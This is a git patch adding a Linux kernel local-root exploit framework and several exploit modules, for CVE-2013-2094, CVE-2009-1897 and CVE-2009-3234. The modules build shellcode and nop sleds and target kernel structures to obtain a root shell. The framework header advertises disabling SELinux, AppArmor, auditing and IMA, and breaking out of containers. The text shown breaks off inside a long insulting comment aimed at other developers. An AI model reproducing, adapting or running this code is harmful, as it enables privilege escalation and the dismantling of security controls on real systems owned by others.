From 0ee7cc155c006dbb591d01c4e78a560b3fb21ba9 Mon Sep 17 00:00:00 2001 From: Christine Dodrill Date: Thu, 10 Sep 2015 21:36:55 -0700 Subject: [PATCH] add skidcode --- .gitignore | 4 + exp_abacus.c | 618 +++++++++++ exp_cheddarbay.c | 87 ++ exp_framework.h | 129 +++ exp_ingom0wnar.c | 127 +++ exp_moosecox.c | 468 +++++++++ exp_paokara.c | 85 ++ exp_powerglove.c | 63 ++ exp_sieve.c | 326 ++++++ exp_therebel.c | 84 ++ exp_vmware.c | 94 ++ exp_wunderbar.c | 89 ++ exploit.c | 2143 +++++++++++++++++++++++++++++++++++++++ funny.jpg | Bin 0 -> 67332 bytes pwnkernel.c | 37 + run_nonnull_exploits.sh | 3 + run_null_exploits.sh | 77 ++ 17 files changed, 4434 insertions(+) create mode 100644 .gitignore create mode 100644 exp_abacus.c create mode 100644 exp_cheddarbay.c create mode 100644 exp_framework.h create mode 100644 exp_ingom0wnar.c create mode 100644 exp_moosecox.c create mode 100644 exp_paokara.c create mode 100644 exp_powerglove.c create mode 100644 exp_sieve.c create mode 100644 exp_therebel.c create mode 100644 exp_vmware.c create mode 100644 exp_wunderbar.c create mode 100644 exploit.c create mode 100644 funny.jpg create mode 100644 pwnkernel.c create mode 100755 run_nonnull_exploits.sh create mode 100755 run_null_exploits.sh diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..52ea36e --- /dev/null +++ b/.gitignore @@ -0,0 +1,4 @@ +*.o +*.so +exploit +pwnkernel diff --git a/exp_abacus.c b/exp_abacus.c new file mode 100644 index 0000000..b481ee5 --- /dev/null +++ b/exp_abacus.c @@ -0,0 +1,618 @@ +/* + * original exploit by sd@fucksheep.org, written in 2010 + * heavily modified by spender to do things and stuff + */ + +#define _GNU_SOURCE 1 +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "exp_framework.h" +#include + +#define BIT64 (sizeof(unsigned long) != sizeof(unsigned int)) + +struct exploit_state *exp_state; +int is_old_kernel = 0; + +char *desc = "Abacus: Linux 2.6.37 -> 3.8.8 PERF_EVENTS local root"; +char *cve = "CVE-2013-2094"; + +int requires_null_page = 0; + +#define JMPLABELBASE64 0x1780000000 +#define JMPLABELBASE32 0x01980000 +#define JMPLABELBASE (BIT64 ? JMPLABELBASE64 : JMPLABELBASE32) +#define JMPLABELNOMODBASE64 0xd80000000 +#define JMPLABELNOMODBASE32 0x40000000 +#define JMPLABELNOMODBASE (BIT64 ? JMPLABELNOMODBASE64 : JMPLABELNOMODBASE32) +#define BASE64 0x380000000 +#define BASE32 0x80000000 +#define BASE (BIT64 ? BASE64 : BASE32) +#define SIZE64 0x04000000 +#define SIZE32 0x01000000 +#define SIZE (BIT64 ? SIZE64 : SIZE32) +#define KSIZE (BIT64 ? 0x2000000 : 0x2000) +#define SYSCALL_NO (BIT64 ? 298 : 336) +#define MAGICVAL (BIT64 ? 0x44444443 : 0x44444445) + +unsigned long num_incs1; +unsigned long probe1addr; +unsigned long probe2addr; +unsigned long probebase; +static int wrap_val; +static int structsize; +static int has_jmplabel; +static int is_unaligned; +static int target_offset; +static int computed_index; +static unsigned long target_addr; +static unsigned long array_base; +unsigned long kbase; +static int xen_pv; + +struct { + uint16_t limit; + uint64_t addr; +} __attribute__((packed)) idt; + +int get_exploit_state_ptr(struct exploit_state *ptr) +{ + exp_state = ptr; + return 0; +} + +int ring0_cleanup(void) +{ + if (BIT64) { + if (xen_pv) { + *(unsigned int *)(target_addr + target_offset) = 0; + } else { + *(unsigned int *)(target_addr + target_offset) = 0xffffffff; + } + /* clean up the probe effects for redhat tears */ + *(unsigned int *)(array_base - structsize) = *(unsigned int *)(array_base - structsize) - num_incs1; + *(unsigned int *)(array_base - (2 * structsize)) = *(unsigned int *)(array_base - (2 * structsize)) - 1; + } + /* on 32bit we let the kernel clean up for us */ + return 0; +} + +int main_pid; +int signals_dont_work[2]; +int total_children; + +static int send_event(uint32_t off, int is_probe) { + uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x320 }; + int fd; + + if ((int)off >= 0) { + printf(" [-] Target is invalid, index is positive.\n"); + exit(1); + } + if (getpid() == main_pid) + printf(" [+] Submitting index of %d to perf_event_open\n", (int)off); + fd = syscall(SYSCALL_NO, buf, 0, -1, -1, 0); + + if (fd < 0) { + printf(" [-] System rejected creation of perf event. Either this system is patched, or a previous failed exploit was run against it.\n"); + if (is_probe || BIT64) + exit(1); + } + /* we don't need to hold them open in the xen pv ops case on x64 */ + if (BIT64) + close(fd); + return fd; +} + +//static unsigned long security_ops; + +void ptmx_trigger(void) +{ + struct iovec iov; + int fd; + + fd = open("/dev/ptmx", O_RDWR); + if (fd < 0) { + printf(" [-] Unable to open /dev/ptmx\n"); + exit(1); + } + /* this choice is arbitrary */ + iov.iov_base = &iov; + iov.iov_len = sizeof(iov); + /* this one is not ;) */ + if (xen_pv && is_unaligned) + writev(fd, &iov, 1); + else + readv(fd, &iov, 1); + // won't reach here + close(fd); +} + + +static void check_maxfiles(void) +{ + unsigned long maxfiles; + FILE *f = fopen("/proc/sys/fs/file-max", "r"); + if (f) { + fscanf(f, "%lu", &maxfiles); + fclose(f); + if (maxfiles < kbase) { + printf(" [-] Lack of sufficient RAM or low fs.file-max sysctl setting prevents our choice of exploitation.\n"); + exit(1); + } + } + return; +} + +int trigger(void) +{ + /* !SMEP version */ + printf(" [!] Array base is %p\n", (void *)array_base); + printf(" [!] Detected structure size of %d bytes\n", structsize); + printf(" [!] Targeting %p\n", (void *)(array_base + (structsize * computed_index))); + +#ifdef __x86_64__ + if (xen_pv) { + int i; + for (i = 0; i < kbase; i++) { + send_event(computed_index, 0); + } + ptmx_trigger(); + } else { + send_event(computed_index, 0); + if (is_unaligned) { + asm volatile ( + "pushfq\n" + "orq $0x40000, (%rsp)\n" + "popfq\n" + "test %rax, 0x1(%rsp)\n" + ); + } else { + asm("int $0x4"); + } + } +#else + { + unsigned long kbase_counter = 0; + int ret; + int pipes[2]; + int i; + char garbage; + int max_open = 768; + int real_max = 1024; + struct rlimit rlim = { 0 }; + + + if (!getrlimit(RLIMIT_NOFILE, &rlim)) { + real_max = rlim.rlim_max; + max_open = rlim.rlim_max - 50; + rlim.rlim_cur = rlim.rlim_max; + if (setrlimit(RLIMIT_NOFILE, &rlim)) + max_open = 768; + } + + /* child notification/reaping code from zx2c4 */ + + pipe(pipes); + pipe(signals_dont_work); + + main_pid = getpid(); + + total_children = 0; + + printf(" [!] Forking off %lu children to set required pointer value, please wait...\n", (kbase + max_open - 1) / max_open); + + while (kbase_counter < kbase) { + if (!fork()) { + int x; + int savefd1, savefd2; + savefd1 = pipes[1]; + savefd2 = signals_dont_work[0]; + for (x = 0; x < real_max; x++) + if (x != savefd1 && x != savefd2) + close(x); + for (x = 0; x < max_open; x++) + send_event(computed_index, 0); + write(pipes[1], &garbage, 1); + read(signals_dont_work[0], &garbage, 1); + _exit(0); + } + kbase_counter += max_open; + total_children++; + + } + for (i = 0; i < total_children; i++) + read(pipes[0], &garbage, 1); + + ptmx_trigger(); + } +#endif + + /* SMEP/SMAP version, shift security_ops */ + //security_ops = (unsigned long)exp_state->get_kernel_sym("security_ops"); + //target_addr = security_ops; + //target_offset = 0; + //computed_index = -((array_base-target_addr-target_offset)/structsize); + // + //for (i = 0; i < sizeof(unsigned long); i++) + // send_event(computed_index, 0); + // add fancy trigger here + + return 0; +} + +int post(void) +{ + write(signals_dont_work[1], &total_children, total_children); + return RUN_ROOTSHELL; +} + +static unsigned char *map_page_file_fixed(unsigned long addr, int prot, int fd) +{ + unsigned char *mem; + + mem = (unsigned char *)mmap((void *)addr, 0x1000, prot, MAP_SHARED | MAP_FIXED, fd, 0); + if (mem == MAP_FAILED) { + printf("unable to mmap file\n"); + exit(1); + } + + return mem; +} + +static unsigned char *map_anon_page(void) +{ + unsigned char *mem; + + mem = (unsigned char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (mem == MAP_FAILED) { + printf("unable to mmap\n"); + exit(1); + } + + return mem; +} + +static void fill_file_with_char(const char *filename, unsigned char thechar) +{ + int fd; + unsigned char *mem; + + fd = open(filename, O_CREAT | O_WRONLY, 0644); + if (fd < 0) { + printf("unable to create mmap file\n"); + exit(1); + } + + mem = map_anon_page(); + memset(mem, thechar, 0x1000); + write(fd, mem, 0x1000); + close(fd); + munmap(mem, 0x1000); + + return; +} + +static inline unsigned long page_align(unsigned long addr) +{ + return addr & ~0x0FFFUL; +} + +/* 100% of the time this works every time + * it's also completely ridiculous + * + * elito hungarian techniques! + */ +static int super_secure_probe_not_like_black_panther(void) +{ + unsigned long bases[3] = { BASE, JMPLABELBASE, JMPLABELNOMODBASE }; + int uniquefds[3]; + unsigned long currunique; + unsigned long p; + unsigned long probe1page; + int i, x; + int fd1, fd2; + unsigned int *probe; + int mapidx = -1; + unsigned long stride; + unsigned long strideidx; + unsigned long low, high; + unsigned long ourbase; + unsigned long sel; + + fill_file_with_char("./lock_me_macaroni_1", 0x44); + fill_file_with_char("./lock_me_macaroni_2", 0x44); + fill_file_with_char("./lock_me_macaroni_3", 0x44); + + uniquefds[0] = open("./lock_me_macaroni_1", O_RDWR); + uniquefds[1] = open("./lock_me_macaroni_2", O_RDWR); + uniquefds[2] = open("./lock_me_macaroni_3", O_RDWR); + + if (uniquefds[0] < 0 || uniquefds[1] < 0 || uniquefds[2] < 0) { + printf("Unable to open userland buffer files\n"); + exit(1); + } + + unlink("./lock_me_macaroni_1"); + unlink("./lock_me_macaroni_2"); + unlink("./lock_me_macaroni_3"); + + printf(" [!] Securely probing with great effort\n"); + + /* isolate to a single map */ + for (i = 0; i < 3; i++) { + for (p = bases[i]; p < bases[i] + SIZE; p += 0x1000) { + map_page_file_fixed(p, PROT_READ | PROT_WRITE, uniquefds[i]); + if (p == bases[i]) { + char c; + assert(!mlock((void *)p, 0x1000)); + /* set up pte */ + c = *(volatile char *)p; + } + } + } + fd1 = send_event(BIT64 ? -1 : -(1024 * 1024 * 1024)/4, 1); + num_incs1++; + for (i = 0; i < 3; i++) { + probe = (unsigned int *)(bases[i]); + for (x = 0; x < 0x1000/sizeof(unsigned int); x++) { + if (probe[x] == MAGICVAL) { + mapidx = i; + goto foundit; + } + } + } +foundit: + if (!BIT64) + close(fd1); + + if (mapidx == -1) { + printf(" [-] Unsupported configuration.\n"); + exit(1); + } + + for (i = 0; i < 3; i++) { + if (i != mapidx) + munmap(bases[i], SIZE); + } + + ourbase = bases[mapidx]; + stride = SIZE / 2; + low = ourbase; + high = low + SIZE; + + while (stride >= 0x1000) { + for (p = low; p < high; p += stride) { + memset((void *)p, 0x44, 0x1000); + msync((void *)p, 0x1000, MS_SYNC); + for (strideidx = 0; strideidx < stride/0x1000; strideidx++) { + sel = (p < (low + stride)) ? 0 : 1; + map_page_file_fixed(p + (strideidx * 0x1000), PROT_READ | PROT_WRITE, uniquefds[sel]); + } + } + fd1 = send_event(BIT64 ? -1 : -(1024 * 1024 * 1024)/4, 1); + num_incs1++; + probe = (unsigned int *)low; + for (x = 0; x < 0x1000/sizeof(unsigned int); x++) { + if (probe[x] == MAGICVAL) { + high = low + stride; + probe1addr = (unsigned long)&probe[x]; + } + } + probe = (unsigned int *)(low + stride); + for (x = 0; x < 0x1000/sizeof(unsigned int); x++) { + if (probe[x] == MAGICVAL) { + low = low + stride; + probe1addr = (unsigned long)&probe[x]; + } + } + if (!BIT64) + close(fd1); + stride /= 2; + } + + probe1page = page_align(probe1addr); + + if (!probe1addr) { + printf(" [-] Unsupported configuration.\n"); + exit(1); + } + +gotprobe: + /* blow away old mappings here */ + map_page_file_fixed(probe1page - 0x1000, PROT_READ | PROT_WRITE, uniquefds[0]); + map_page_file_fixed(probe1page, PROT_READ | PROT_WRITE, uniquefds[1]); + map_page_file_fixed(probe1page + 0x1000, PROT_READ | PROT_WRITE, uniquefds[2]); + + memset((void *)(probe1page - 0x1000), 0x44, 0x3000); + + fd2 = send_event(BIT64 ? -2 : -(1024 * 1024 * 1024)/4-1, 1); + probe = (unsigned int *)(probe1page - 0x1000); + for (i = 0; i < 0x3000/sizeof(unsigned int); i++) { + if (probe[i] == MAGICVAL) { + probe2addr = (unsigned long)&probe[i]; + break; + } + } + if (!BIT64) + close(fd2); + + close(uniquefds[0]); + close(uniquefds[1]); + close(uniquefds[2]); + + return abs(probe1addr - probe2addr); +} + +int prepare(unsigned char *buf) +{ + unsigned char *mem; + unsigned char *p; + int fd; + unsigned long idx; + char c; + + assert(!mlock(&num_incs1, 0x1000)); + + structsize = super_secure_probe_not_like_black_panther(); + if (structsize > 4) + has_jmplabel = 1; + wrap_val = (probe2addr - probebase) + 2 * structsize; + + if (BIT64) { + /* use masked kernel range here */ + asm ("sidt %0" : "=m" (idt)); + kbase = idt.addr & 0xff000000; + target_addr = idt.addr; + array_base = 0xffffffff80000000UL | wrap_val; + if ((target_addr & 0xfffffffff0000000UL) != 0xffffffff80000000UL) { + xen_pv = 1; + printf(" [!] Xen PV possibly detected, switching to alternative target\n"); + target_addr = (unsigned long)exp_state->get_kernel_sym("ptmx_fops"); + if (!target_addr) { + printf(" [-] Symbols required for Xen PV exploitation (in this exploit).\n"); + exit(1); + } + target_offset = 4 * sizeof(unsigned long); + if (has_jmplabel) { + if ((array_base - target_addr - target_offset) % structsize) { + is_unaligned = 1; + target_offset = 5 * sizeof(unsigned long); + } + } + } else { + /* do we need to target AC instead? */ + if (has_jmplabel) { + if ((array_base - target_addr) % structsize) { + is_unaligned = 1; + target_offset = 0x118; + } else + target_offset = 0x48; + } else + target_offset = 0x48; + } + computed_index = -((array_base-target_addr-target_offset)/structsize); + } else { + int brute; + + /* use just above mmap_min_addr here */ + kbase = 0; + while (1) { + mem = (unsigned char *)mmap((void *)kbase, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (mem != MAP_FAILED) { + printf(" [!] Placing payload just above mmap_min_addr at %p\n", (void *)kbase); + check_maxfiles(); + munmap((void *)kbase, 0x1000); + break; + } else + kbase += 0x1000; + } + array_base = (unsigned long)exp_state->get_kernel_sym("perf_swevent_enabled"); + target_addr = (unsigned long)exp_state->get_kernel_sym("ptmx_fops"); + if (!target_addr || !array_base) { + printf(" [-] Symbols required for i386 exploitation (in this exploit).\n"); + exit(1); + } + target_offset = 4 * sizeof(unsigned long); + computed_index = 0; + for (brute = -1; brute < 0; brute--) { + if (array_base + (brute * structsize) == (target_addr + target_offset)) { + computed_index = brute; + break; + } + } + if (!computed_index) { + printf(" [-] Unable to reach ptmx_fops target under this configuration.\n"); + exit(1); + } + } + + fill_file_with_char("./suckit_selinux_nopz", 0x90); + + fd = open("./suckit_selinux", O_CREAT | O_WRONLY, 0644); + if (fd < 0) { + printf("unable to create shellcode file\n"); + exit(1); + } + + mem = (unsigned char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (mem == MAP_FAILED) { + printf("unable to mmap nop sled\n"); + goto error; + } + memset(mem, 0x90, 0x1000); + p = (unsigned char *)(mem + 0x1000 - 3 - (2 * (2 + 4 + sizeof(unsigned long)))); + if (BIT64) { + // swapgs + p[0] = 0x0f; + p[1] = 0x01; + p[2] = 0xf8; + } + p += 3; + // call own_the_kernel + p[0] = 0xff; + p[1] = 0x15; + *(unsigned int *)&p[2] = BIT64 ? 6 : kbase + KSIZE - (2 * sizeof(unsigned long)); + // call exit_kernel + p[6] = 0xff; + p[7] = 0x25; + *(unsigned int *)&p[8] = BIT64 ? sizeof(unsigned long) : kbase + KSIZE - sizeof(unsigned long); + *(unsigned long *)&p[12] = (unsigned long)exp_state->own_the_kernel; + *(unsigned long *)&p[12 + sizeof(unsigned long)] = (unsigned long)exp_state->exit_kernel; + + write(fd, mem, 0x1000); + close(fd); + munmap(mem, 0x1000); + + fd = open("./suckit_selinux_nopz", O_RDONLY); + if (fd < 0) { + printf("unable to open nop sled file for reading\n"); + goto error; + } + // map in nops and page them in + for (idx = 0; idx < (KSIZE/0x1000)-1; idx++) { + mem = (unsigned char *)mmap((void *)(kbase + idx * 0x1000), 0x1000, PROT_READ | PROT_EXEC, MAP_FIXED | MAP_PRIVATE, fd, 0); + if (mem != (unsigned char *)(kbase + idx * 0x1000)) { + printf("unable to mmap\n"); + goto error; + } + if (!idx) + assert(!mlock(mem, 0x1000)); + c = *(volatile char *)mem; + } + close(fd); + + fd = open("./suckit_selinux", O_RDONLY); + if (fd < 0) { + printf("unable to open shellcode file for reading\n"); + goto error; + } + mem = (unsigned char *)mmap((void *)(kbase + KSIZE - 0x1000), 0x1000, PROT_READ | PROT_EXEC, MAP_FIXED | MAP_PRIVATE, fd, 0); + close(fd); + if (mem != (unsigned char *)(kbase + KSIZE - 0x1000)) { + printf("unable to mmap\n"); + goto error; + } + assert(!mlock(mem, 0x1000)); + c = *(volatile char *)mem; + + unlink("./suckit_selinux"); + unlink("./suckit_selinux_nopz"); + + return 0; +error: + unlink("./suckit_selinux"); + unlink("./suckit_selinux_nopz"); + exit(1); +} diff --git a/exp_cheddarbay.c b/exp_cheddarbay.c new file mode 100644 index 0000000..2a624c1 --- /dev/null +++ b/exp_cheddarbay.c @@ -0,0 +1,87 @@ +/* wunderbar */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "exp_framework.h" + +struct exploit_state *exp_state; + +#define OFFSET_OF_FLAGS 0x8 + +struct sock { + char gibberish1[0x60]; + char gibberish2[0xe0]; + unsigned long gibberish3[0x50]; +}; + +char *desc = "Cheddar Bay: Linux 2.6.30/2.6.30.1 /dev/net/tun local root"; +char *cve = "CVE-2009-1897"; + +int prepare(unsigned char *buf) +{ + struct sock *sk = (struct sock *)buf; + struct pollfd pfd; + unsigned long target_addr; + int i; + int fd; + + fd = open("/dev/net/tun", O_RDONLY); + if (fd < 0) { + fprintf(stdout, "Unable to open /dev/net/tun!\n"); + return 0; + } + close(fd); + fd = open("/dev/net/tun", O_RDWR); + if (fd < 0) { + fprintf(stdout, "Unable to open /dev/net/tun!\n"); + return 0; + } + + target_addr = exp_state->get_kernel_sym("tun_fops") + (sizeof(unsigned long) * 11); + + memset(sk->gibberish1, 0, sizeof(sk->gibberish1)); + memset(sk->gibberish2, 0, sizeof(sk->gibberish2)); + for (i = 0; i < sizeof(sk->gibberish3)/sizeof(sk->gibberish3[0]); i++) + sk->gibberish3[i] = target_addr - OFFSET_OF_FLAGS; + + pfd.fd = fd; + pfd.events = POLLIN | POLLOUT; + poll(&pfd, 1, 0); + + close(fd); + + return EXECUTE_AT_NONZERO_OFFSET | 1; +} + +int requires_null_page = 1; + +int requires_symbols_to_trigger = 1; + +int get_exploit_state_ptr(struct exploit_state *ptr) +{ + exp_state = ptr; + return 0; +} + +int trigger(void) +{ + int fd; + fd = open("/dev/net/tun", O_RDONLY); + if (fd < 0) + return 0; + mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0); + close(fd); + + return 1; +} + +int post(void) +{ + return RUN_ROOTSHELL; +} diff --git a/exp_framework.h b/exp_framework.h new file mode 100644 index 0000000..14f2162 --- /dev/null +++ b/exp_framework.h @@ -0,0 +1,129 @@ +/* enlightenment 200912092327 + + enlightenment is an exploitation framework mostly geared towards the + exploitation of null ptr dereference bugs, though its routines are + applicable to overflows and other bugclasses as well. It's a public + demonstration of the capabilities of kernel exploits, useful for + commercial pentesting or verifying the security of your own systems. + + enlightenment supports: + all kernels 2.4 and 2.6/3.x (both x86 and x64) + setting *uid/ *gid 0 + clearing supplementary groups + raising to full capabilities + pre and post cred structures + breaking out of chroots and mnt namespaces + breaking out of vserver containers + breaking out of OpenVZ containers + breaking out of user namespaces + disabling No New Privs (NNP) + disabling SECCOMP + automatically switches from interrupt disabled -> process context + uses kernel's internal symbol table for added functionality + page table parsing on x64 for reliability in code scanning + cloning of init's cred structure (when no cred symbols are present) + CONFIG_DEBUG_RODATA bypass (both old and new versions) + xen hypercalls for .text modification on new DEBUG_RODATA under Xen + SELinux execmod/execmem bypassing + SELinux disabling (and faking continued enforcement) + even if the toggling variable has no generated symbol + IMA disabling (rendering its TPM-based integrity checks worthless) + Apparmor disabling + Auditing disabling + Tomoyo disabling + generic LSM disabling + all public methods of bypassing mmap_min_addr + SMEP detection + defeats proposed "exploit detection" : https://lkml.org/lkml/2013/12/12/358 + pearls of wisdom from some of the greatest writers and thinkers of + the past couple centuries :) + + To create your own exploit module for enlightenment, just name it + exp_whatever.c + It will be auto-compiled by the shell script and thrown into + the list of loaded exploit modules + + if you want to use the list of non-NULL exploits: + ./run_nonnull_exploits.sh + if you want to run the list of NULL ptr deref exploits: + ./run_null_exploits.sh + + Each module must have the following features: + It must include this header file, exp_framework.h + A description of the exploit, the variable being named "desc" + A "prepare" function: int prepare(unsigned char *ptr) + where ptr is the ptr to the NULL mapping, which you are able to write to + This function can return the flags described below for prepare_the_exploit + Return 0 for failure otherwise + A "trigger" function: int trigger(void) + Return 0 for failure, nonzero for success + A "post" function: int post(void) + This function can return the flags described below for post_exploit + A "requires_null_page" int: int requires_null_page; + This should be 1 if a NULL page needs to be mapped, and 0 otherwise + (if you want to use the framework to exploit non-NULL ptr bugs) + A "ring0_cleanup" function: int ring0_cleanup(void) + Return value is ignored, this function is optional + A "get_exploit_state_ptr" function: + int get_exploit_state_ptr(struct exploit_state *ptr) + Generally this will always be implemented as: + struct *exp_state; + int get_exploit_state_ptr(struct exploit_state *ptr) + { + exp_state = ptr; + return 0; + } + It gives you access to the exploit_state structure listed below, + get_kernel_sym allows you to resolve symbols + own_the_kernel is the function that takes control of the kernel + (in case you need its address to set up your buffer) + the other variables describe the exploit environment, so you can + for instance, loop through a number of vulnerable socket domains + until you detect ring0 execution has occurred. + + That's it! +*/ + + +/* defines for prepare_the_exploit */ + /* for null fptr derefs */ +#define STRAIGHT_UP_EXECUTION_AT_NULL 0x31337 + /* for overflows */ +#define EXIT_KERNEL_TO_NULL 0x31336 + +#define EXECUTE_AT_NONZERO_OFFSET 0xfffff000 // OR the offset with this + +/* defines for post_exploit */ +#define RUN_ROOTSHELL 0x5150 +#define CHMOD_SHELL 0x5151 +#define FUNNY_PIC_AND_ROOTSHELL 0xdeadc01d + +typedef unsigned long (*_get_kernel_sym)(char *name); +typedef unsigned long __attribute__((regparm(3))) (*_kallsyms_lookup_name)(char *name); + +struct exploit_state { + _get_kernel_sym get_kernel_sym; + _kallsyms_lookup_name kallsyms_lookup_name; + void *own_the_kernel; + void *exit_kernel; + char *exit_stack; + int run_from_main; + int got_ring0; + int got_root; +}; + +#define EFL_RESERVED1 (1 << 1) +#define EFL_PARITY (1 << 2) +#define EFL_ZEROFLAG (1 << 6) +#define EFL_INTERRUPTENABLE (1 << 9) +#define EFL_IOPL3 ((1 << 12) | (1 << 13)) + +#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE) +/* for insta-iopl 3, for whatever reason! + #define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE | EFL_IOPL3) +*/ + +#define DISABLED_LSM 0x1 +#define DISABLED_IMA 0x2 +#define DISABLED_APPARMOR 0x4 +#define DISABLED_SELINUX 0x8 diff --git a/exp_ingom0wnar.c b/exp_ingom0wnar.c new file mode 100644 index 0000000..90e8b61 --- /dev/null +++ b/exp_ingom0wnar.c @@ -0,0 +1,127 @@ +/* Ingo m0wnar */ +#include +#include +#include +#include +#include +#include +#include +#include "exp_framework.h" + +#undef __NR_perf_counter_open +#ifdef __x86_64__ +#define __NR_perf_counter_open 298 +//#define OFFSET_OF_IP 0x88 +#define BUF_SIZE 0x100 +#else +#define __NR_perf_counter_open 336 +//#define OFFSET_OF_IP 0x5c +#define BUF_SIZE 0x80 +#endif + +struct perf_counter_attr { + unsigned int type; + unsigned int size; +}; + +struct exploit_state *exp_state; + +char *desc = "Ingo m0wnar: Linux 2.6.31 perf_counter local root (Ingo backdoor method)"; +char *cve = "CVE-2009-3234"; + +int get_exploit_state_ptr(struct exploit_state *ptr) +{ + exp_state = ptr; + return 0; +} + +int requires_null_page = 0; + + +static char *dirty_code; + +int prepare(unsigned char *ptr) +{ + char *mem; + int fd; + + fd = open("./suckit_selinux", O_CREAT | O_WRONLY, 0644); + if (fd < 0) { + printf("unable to create file\n"); + exit(1); + } + + mem = (char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (mem == MAP_FAILED) { + printf("unable to mmap\n"); + unlink("./suckit_selinux"); + exit(1); + } + mem[0] = '\xff'; + mem[1] = '\x15'; + *(unsigned int *)&mem[2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 6 : (unsigned int)mem + 12; + mem[6] = '\xff'; + mem[7] = '\x25'; + *(unsigned int *)&mem[8] = (sizeof(unsigned long) != sizeof(unsigned int)) ? sizeof(unsigned long) : (unsigned int)mem + 16; + *(unsigned long *)&mem[12] = (unsigned long)exp_state->own_the_kernel; + *(unsigned long *)&mem[12 + sizeof(unsigned long)] = (unsigned long)exp_state->exit_kernel; + write(fd, mem, 0x1000); + close(fd); + munmap(mem, 0x1000); + + fd = open("./suckit_selinux", O_RDONLY); + if (fd < 0) { + printf("unable to open file for reading\n"); + unlink("./suckit_selinux"); + exit(1); + } + dirty_code = (char *)mmap(NULL, 0x1000, PROT_READ | PROT_EXEC, MAP_PRIVATE, fd, 0); + if (dirty_code == MAP_FAILED) { + printf("unable to mmap\n"); + exit(1); + } + + unlink("./suckit_selinux"); + + return 0; +} + +int trigger(void) +{ + struct perf_counter_attr *ctr; + int tid; + int i; + + ctr = (struct perf_counter_attr *)calloc(1, 0x1000); + if (ctr == NULL) { + fprintf(stdout, "out of memory\n"); + exit(1); + } + + /* Ingo's 3 line backdoor, reminds me of wait4() */ + //ctr->size = BUF_SIZE; + //*(unsigned long *)((char *)ctr + OFFSET_OF_IP) = (unsigned long)dirty_code; + //syscall(__NR_perf_counter_open, ctr, getpid(), 0, 0, 0UL); + + /* just in case it gets compiled differently... ;) */ + ctr->size = BUF_SIZE; + for (i = 0x40; i < BUF_SIZE; i+= sizeof(unsigned long)) { + if (!(i % (sizeof(unsigned long) * sizeof(unsigned long)))) + continue; + *(unsigned long *)((char *)ctr + i) = (unsigned long)dirty_code; + } + + syscall(__NR_perf_counter_open, ctr, getpid(), 0, 0, 0UL); + + /* if we're successful, we won't get to this next line */ + + fprintf(stdout, "System is not vulnerable.\n"); + exit(1); + + return 0; +} + +int post(void) +{ + return RUN_ROOTSHELL; +} diff --git a/exp_moosecox.c b/exp_moosecox.c new file mode 100644 index 0000000..83358af --- /dev/null +++ b/exp_moosecox.c @@ -0,0 +1,468 @@ +/* exp_moosecox.c + Watch a video of the exploit here: + http://www.youtube.com/watch?v=jt81NvaOj5Y + + developed entirely by Ingo Molnar (exploit writer extraordinaire!) , + thanks to Fotis Loukos for pointing the bug out to me -- neat bug! :) + + dedicated to the Red Hat employees who get paid to copy+paste my + twitter and issue security advisories, their sweet + acknowledgement policy, and general classiness + see: https://bugzilla.redhat.com/show_activity.cgi?id=530490 + + "policy" aside, there's a word for what you guys are doing: "plagiarism" + in fact, i tested this one day by posting three links to twitter, + without any discussion on any of them. the same day, those three + (and only those three) links were assigned CVEs, even though two of + them weren't even security bugs (it doesn't pay to copy+paste) + + official Ingo Molnar (that's me) policy for acknowledgement in + exploits requires general douche-ness or plagiarization + official policy further dictates immediate exploit release for + embargoed, patched bug + + I'll be curious to see what the CVE statistics are like for the + kernel this year when they get compiled next year -- I'm predicting + that when someone's watching the sleepy watchers, a more personal + interest is taken in doing the job that you're paid to do correctly. + + -------------------------------------------------------------------- + + Special PS note to Theo (I can do this here because I know he'll + never read it -- the guy is apparently oblivious to the entire world of + security around him -- the same world that invents the protections + years before him that he pats himself on the back for "innovating") + Seriously though, it's incredible to me that an entire team + of developers whose sole purpose is to develop a secure operating + system can be so oblivious to the rest of the world. They haven't + innovated since they replaced exploitable string copies with + exploitable string truncations 6 or so years ago. + + The entire joke of a thread can be read here: + http://www.pubbs.net/openbsd/200911/4582/ + "Our focus therefore is always on finding innovative ideas which make + bugs very hard to exploit succesfully." + "He's too busy watching monkey porn instead of + building researching last-year's security technology that will stop + an exploit technique that has been exploited multiple times." + "it seems that everyone else is slowly coming around to the + same solution." + + So let's talk about this "innovation" of theirs with their + implementation of mmap_min_addr: + + They implemented it in 2008, a year after Linux implemented it, a + year after the public phrack article on the bug class, more than a + year after my mail to dailydave with the first public Linux kernel + exploit for the bug class, and over two years after UDEREF was + implemented in PaX (providing complete protection against the smaller + subset of null ptr dereference bugs and the larger class of invalid + userland access in general). + + OpenBSD had a public null pointer dereference exploit (agp_ioctl()) + published for its OS in January of 2007. It took them over a year + and a half to implement the same feature that was implemented in + Linux a few months after my public exploit in 2007. + + So how can it be that "everyone else is slowly coming around to the + same solution" when "everyone else" came to that solution over a + year before you Theo? In fact, I prediced this exact situation would + happen back in 2007 in my DD post: + http://lists.virus.org/dailydave-0703/msg00011.html + "Expect OpenBSD to independently invent a protection against null ptr + deref bugs sometime in 2009." + + Let's talk about some more "innovation" -- position independent + executables. PaX implemented position independent executables on + Linux back in 2001 (ET_DYN). PIE binary support was added to GNU + binutils in 2003. Those OpenBSD innovators implemented PIE binaries + in 2008, 7 years after PaX. Innovation indeed! + + How about their W^X/ASLR innovation? These plagiarists have the + audacity to announce on their press page: + http://www.openbsd.org/press.html + "Microsoft borrows one of OpenBSD's security features for Vista, + stack/library randomization, under the name Address Space Layout + Randomization (ASLR). 